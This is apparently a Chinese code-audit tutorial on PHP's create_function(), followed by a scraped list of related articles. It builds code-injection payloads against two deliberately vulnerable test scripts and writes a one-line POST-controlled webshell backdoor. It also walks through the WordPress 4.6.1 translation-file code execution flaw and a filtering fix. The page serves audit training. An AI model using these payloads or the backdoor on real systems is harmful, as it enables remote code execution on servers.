代码审计之create_function()函数
0x00 create_function()简介
适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
create_function(string $args,string $code)
string $args 声明的函数变量部分 string $code 执行的方法代码部分
0x01 环境搭建
本次测试在Windows下用PHPstudy搭建环境,使用的是:PHP 5.4.45 + MySQL 5.5 + Apache
0x02 函数功能分析
官方案例:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
保存为func.php,访问如下:

分析:
create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。
因此,上述匿名函数的创建与执行过程等价于:
<?php
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
?>
create_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程,我们可以熟练的实现对代码注入的payload构造,从而进行漏洞挖掘和找出存在的缺陷。
0x03 实现代码注入的案例
案例 1
1.php
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
payload的构造:
http://localhost/test/1.php?sort_by='"]);}phpinfo();/*

还原实际的组合过程:
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
匿名函数实际的执行:
function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
}
回车换行整理一下:
function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}
案例 2
2.php
<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>
payload的构造:
http://localhost/test/2.php?c=1));}phpinfo();/*

还原实际的组合过程:
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
匿名函数实际的执行:
function ft($a,$b){
return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
}
回车换行整理一下:
function ft($a,$b){
return (strlen($a)-strlen($b)+" . "strlen(1));
}
phpinfo();
/*));
}
0x04 实现后门的打造
houmen.php
<?php $func =create_function('',$_POST['cmd']);$func();?>
create_function()是可以利用当后门的函数,实际上它是通过执行eval实现(此处相当于一句话木马),访问如下:

0x05 代码审计实战中的案例
WordPress <= 4.6.1 使用语言文件任意代码执行漏洞
接下来我们看这个版本的WordPress中,一处用到create_function的地方,在wp-includes/pomo/translations.php第203-209行:
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header
* @param int $nplurals
* @param string $expression
*/
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
我们看一下正常的字体文件zh_CN.mo,其中有这么一段:

Plural-Froms这个header就是上面的函数所需要处理的,其中nplurals的值即为$nplurals的值,而plural的值正是我们需要的$expression的值。所以我们将字体文件进行如下改动:

我们payload中的)首先闭合了前面的(,然后;结束前面的语句,接着是我们的一句话木马,然后用/*将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function,在其创建函数时我们的payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload:

修复方案:
在官方发布补丁前建议管理员增强安全意识,不要使用来路不明的字体文件、插件、主题等等。
对于开发者来说,建议对$expression中的特殊符号进行过滤,例如:
$not_allowed = array(";", ")", "}");
$experssion = str_replace($not_allowed, "", $expression);
0x06 create_function()被高版本 PHP 废弃
从PHP 7.2.0开始,create_function()被废弃
代码审计之create_function()函数的更多相关文章
- PHP代码审计之create_function()函数
0x00 create_function()简介 适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7 功能:根据传递的参数创建匿名函数,并为其返回唯一名称. 语法: 1 create ...
- 代码审计学习01-in_array() 函数缺陷
一.开始代码审计之旅 01 从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧. 二.先看 ...
- PHP代码审计入门(敏感函数回溯参数过程)
最近开始啃<代码审计企业级web代码安全架构>这本书,这一章内容看了2天很多内容都理解最主要的是对PHP不熟练所以现在理解了大概 然后进行实地环境搭建最主要的是源码百度真不好找 最后找到一 ...
- [代码审计Day2] filter_var函数缺陷代码审计
简介 // composer require "twig/twig" require 'vendor/autoload.php'; class Template { private ...
- [php代码审计] Window api函数 FindFirstFile 在php中的问题
include文件夹中文件: 内容: <?php echo __FILE__; ?> index.php: 演示如下: “<<”替换多个任意字符: “>”替换单个字符:
- PHP回调函数的几种用法
PHP回调函数的实现方法 目录 前言 全局函数的回调 类静态函数的回调 对象的方法的回调 PHP事件模型(观察者模式)的实现思路 前言 最近在开发一个PH ...
- Php5.3的lambda函数以及closure(闭包)
从php5.3以后,php也可以使用lambda function(可能你会觉得是匿名函数,的确是但不仅仅是)来写类似javascript风格的代码: $myFunc = function() { e ...
- php函数的种类与调用方法大揭密
PHP中的函数看上去很简单,实际上功能非常强大,我这里按函数名称是否固定,可以分为以下三大类: 一.名称固定的函数: 这类函数,也叫:常规函数,直接用关键字function来创建,也是大家最熟悉的类型 ...
- 回调函数的原理及PHP实例
背景:在最近的一个开发项目中,用户要先调用服务才能开始进行一系列的查询活动,想了好久,经同事提醒, 用回调函数即可解决该问题.在这里,对PHP下回调函数的原理及实现分别做一下讲解. 1 什么是回调 软 ...
随机推荐
- hbase数据备份或者容灾方案
HBase的数据备份或者容灾方案有这几种:Distcp,CopyTable,Export/Import,Snapshot,Replication,以下分别介绍(以下描述的内容均是基于0.94.20版本 ...
- Elastic Stack 笔记(九)Elasticsearch5.6 集群管理
博客地址:http://www.moonxy.com 一.前言 集群搭建好以后,在日常中就要对集群的使用情况进行监控,对于一个多节点集群,由于网络连接问题,出现宕机.脑裂等异常情况都是有可能发生的.E ...
- DirectX12 3D 游戏开发与实战第三章内容
变换 学习目标 理解如何使用矩阵表示线性变换和仿射变换 学习对几何体进行缩放.旋转和平移的坐标变换 根据矩阵之间的乘法运算性质,将多个变换矩阵合并为一个单独的净变换矩阵 找寻不同坐标系之间的坐标转换方 ...
- 搭建vagrant开发环境
最近正好用着Vagrant搭建开发环境,写一篇文章记录一下. Vagrant目前是国内互联网公司应用最多的内部开发环境工具. Mac. Windows搭建是一样的,我是在Mac下搭建的环境. vagr ...
- calico的ipip与bgp的模式分析
1.前言 BGP工作模式: bgp工作模式和flannel的host-gw模式几乎一样: bird是bgd的客户端,与集群中其它节点的bird进行通信,以便于交换各自的路由信息: 随着节点数量N的增加 ...
- Windows10安装多个版本的PostgreSQL数据库,但是均没有自动注册Windows服务的解决方法
1.确保正确安装了PostgreSQL数据库,注意端口号不能相同 我的安装目录如图: 其中9.6版本的端口号为5432,10版本的端口号为5433,11版本的端口号为5434.若不知道端口号,可在Po ...
- Linux 部署vsftp服务及详解
一.FTP服务概述: FTP服务器(File Transfer Protocol Server)是在互联网上提供文件存储和访问服务的计算机,它们依照FTP协议提供服务. FTP(File Transf ...
- 第一个SharePoint Add-in工程
一.创建SharePoint hosted 工程 1.创建承载SharePoint Add-in独立域 首先,确定承载的应用程序的独立域名,可以使用类似这样的域名apps.contoso.com,鉴于 ...
- 讨论c/c++计算小数的精度问题
求出所有100以下整数与一位小数相乘等于相加的浮点数这个有Bug浮点数计算时精度会出现误差 除非使用非常精确的类型或限制浮点的位数 比如 #include <iostream> int m ...
- Mybatis的xml文件对大于号小于号的特殊处理!
当我们需要通过xml格式处理sql语句时,经常会用到< ,<=,>,>=等符号,但是很容易引起xml格式的错误,这样会导致后台将xml字符串转换为xml文档时报错,从而导致程序 ...